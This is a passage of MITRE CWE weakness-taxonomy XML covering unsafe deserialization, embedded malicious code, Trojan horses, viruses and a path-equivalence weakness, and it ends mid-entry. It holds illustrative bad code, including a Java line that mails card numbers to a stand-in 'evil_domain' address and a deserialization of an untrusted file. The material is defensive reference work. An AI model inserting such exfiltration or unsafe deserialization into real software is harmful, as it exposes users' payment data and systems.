						without using the provided accessor functions if it does not use
						cryptography to protect itself. Furthermore, any cryptography would still be
						client-side security -- which is a dangerous security assumption.</Text>
					          <Text>Data that is untrusted can not be trusted to be well-formed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a function is making an assumption on when to terminate, based on a
							sentry in a string, it could easily never terminate.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authorization</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Code could potentially make the assumption that information in the
							deserialized object is valid. Functions which make this dangerous
							assumption could be exploited.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A deserialization library could be used which provides a cryptographic
							framework to seal serialized data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the signing features of a language to assure that deserialized
							data has not been tainted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When deserializing data populate a new object rather than just
							deserializing, the result is that the data flows through safe input
							validation and that the functions are safe.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Explicitly define final readObject() to prevent deserialization. An
							example of this is:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private final void readObject(ObjectInputStream in) throws
								java.io.IOException { </Code>
							              <Code>throw new java.io.IOException("Cannot be deserialized"); }</Code>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make fields transient to protect them from deserialization.</Text>
						            <Text>An attempt to serialize and then deserialize a class containing
							transient fields will result in NULLs where the transient data should
							be. This is an excellent way to prevent time, environment-based, or
							sensitive variables from being carried over and used improperly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code snippet deserializes an object from a file and uses it as
						a UI button:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>File file = new File("object.obj");</Code>
								                <Code>ObjectInputStream in = new ObjectInputStream(new
									FileInputStream(file));</Code>
								                <Code>javax.swing.JButton button = (javax.swing.JButton)
									in.readObject();</Code>
								                <Code>in.close();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code does not attempt to verify the source or contents of the
							file before deserializing it. An attacker may be able to replace the
							intended file with a file that contains arbitrary malicious code which
							will be executed when the button is pressed.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Deserialization of untrusted data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not deviate from the proper signatures of serialization
						methods</Mapped_Node_Name>
					          <Mapped_Node_ID>SER01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not serialize unencrypted, sensitive
						data</Mapped_Node_Name>
					          <Mapped_Node_ID>SER03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Make defensive copies of private mutable components during
						deserialization</Mapped_Node_Name>
					          <Mapped_Node_ID>SER06-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use the default serialized form for implementation
						defined invariants</Mapped_Node_Name>
					          <Mapped_Node_ID>SER08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="506" Name="Embedded Malicious Code" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The application contains code that appears to be malicious in
					nature.</Description_Summary>
				        <Extended_Description>
					          <Text> Malicious flaws have acquired colorful names, including Trojan horse,
						trapdoor, timebomb, and logic-bomb. A developer might insert malicious code
						with the intent to subvert the security of an application or its host system
						at some time in the future. It generally refers to a program that performs a
						useful service but exploits rights of the program's user in a way the user
						does not intend. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>505</Relationship_Target_ID>
					          <!--Intentionally Introduced Weakness-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>The term "Trojan horse" was introduced by Dan Edwards and recorded by
						James Anderson [18] to characterize a particular computer security threat;
						it has been redefined many times [4,18-20]. </Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove the malicious code and start an effort to ensure that no more
							malicious code exists. This may require a detailed review of all code,
							as it is possible to hide a serious attack in only one or two lines of
							code. These lines may be located almost anywhere in an application and
							may have been intentionally obfuscated by the attacker.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the example below, a malicous developer has injected code to send
						credit card numbers to his email address.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>boolean authorizeCard(String ccn) {</Code>
							              <Block>
								                <Comment>// Authorize credit card.</Comment>
								                <Comment>...</Comment>
								                <Code/>
								                <Code>mailCardNumber(ccn, "evil_developer@evil_domain.com");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Malicious</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Malicious</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="507" Name="Trojan Horse" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software appears to contain benign or useful functionality,
					but it also contains code that is hidden from normal operation that violates the
					intended security policy of the user or the system
					administrator.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>506</Relationship_Target_ID>
					          <!--Embedded Malicious Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>Potentially malicious dynamic code compiled at runtime can conceal any
						number of attacks that will not appear in the baseline. The use of
						dynamically compiled code could also allow the injection of attacks on
						post-deployed applications.</Text>
				        </Note>
			      </Other_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Definitions of "Trojan horse" and related terms have varied widely over
						the years, but common usage in 2008 generally refers to software that
						performs a legitimate function, but also contains malicious code.</Text>
					          <Text>Almost any malicious code can be called a Trojan horse, since the author
						of malicious code needs to disguise it somehow so that it will be invoked by
						a nonmalicious user (unless the author means also to invoke the code, in
						which case he or she presumably already possesses the authorization to
						perform the intended sabotage). A Trojan horse that replicates itself by
						copying its code into other program files (see case MA1) is commonly
						referred to as a virus. One that replicates itself by creating new processes
						or files to contain its code, instead of modifying existing storage
						entities, is often called a worm. Denning provides a general discussion of
						these terms; differences of opinion about the term applicable to a
						particular flaw or its exploitations sometimes occur.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Most antivirus software scans for Trojan Horses.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Verify the integrity of the software that is being installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 7, "Viruses, Trojans, and Worms In a Nutshell" Page
						208</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Trojan Horse</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="508" Name="Non-Replicating Malicious Code" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Non-replicating malicious code only resides on the target
					system or software that is attacked; it does not attempt to spread to other
					systems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>507</Relationship_Target_ID>
					          <!--Trojan Horse-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Antivirus software can help mitigate known malicious code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Verify the integrity of the software that is being installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Non-Replicating</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Non-Replicating</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="509" Name="Replicating Malicious Code (Virus or Worm)" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Replicating malicious code, including viruses and worms, will
					attempt to attack other systems once it has successfully compromised the target
					system or software.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>507</Relationship_Target_ID>
					          <!--Trojan Horse-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Antivirus software scans for viruses or worms.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always verify the integrity of the software that is being
							installed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Replicating (virus)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Replicating
						(virus)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Replicating Malicious Code
						(virus)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="51" Name="Path Equivalence: '/multiple//internal/slash'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					multiple internal slash ('/multiple//internal/slash/') without appropriate
					validation can lead to ambiguous path resolution and allow an attacker to
					traverse the file system to unintended locations or access arbitrary
					files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
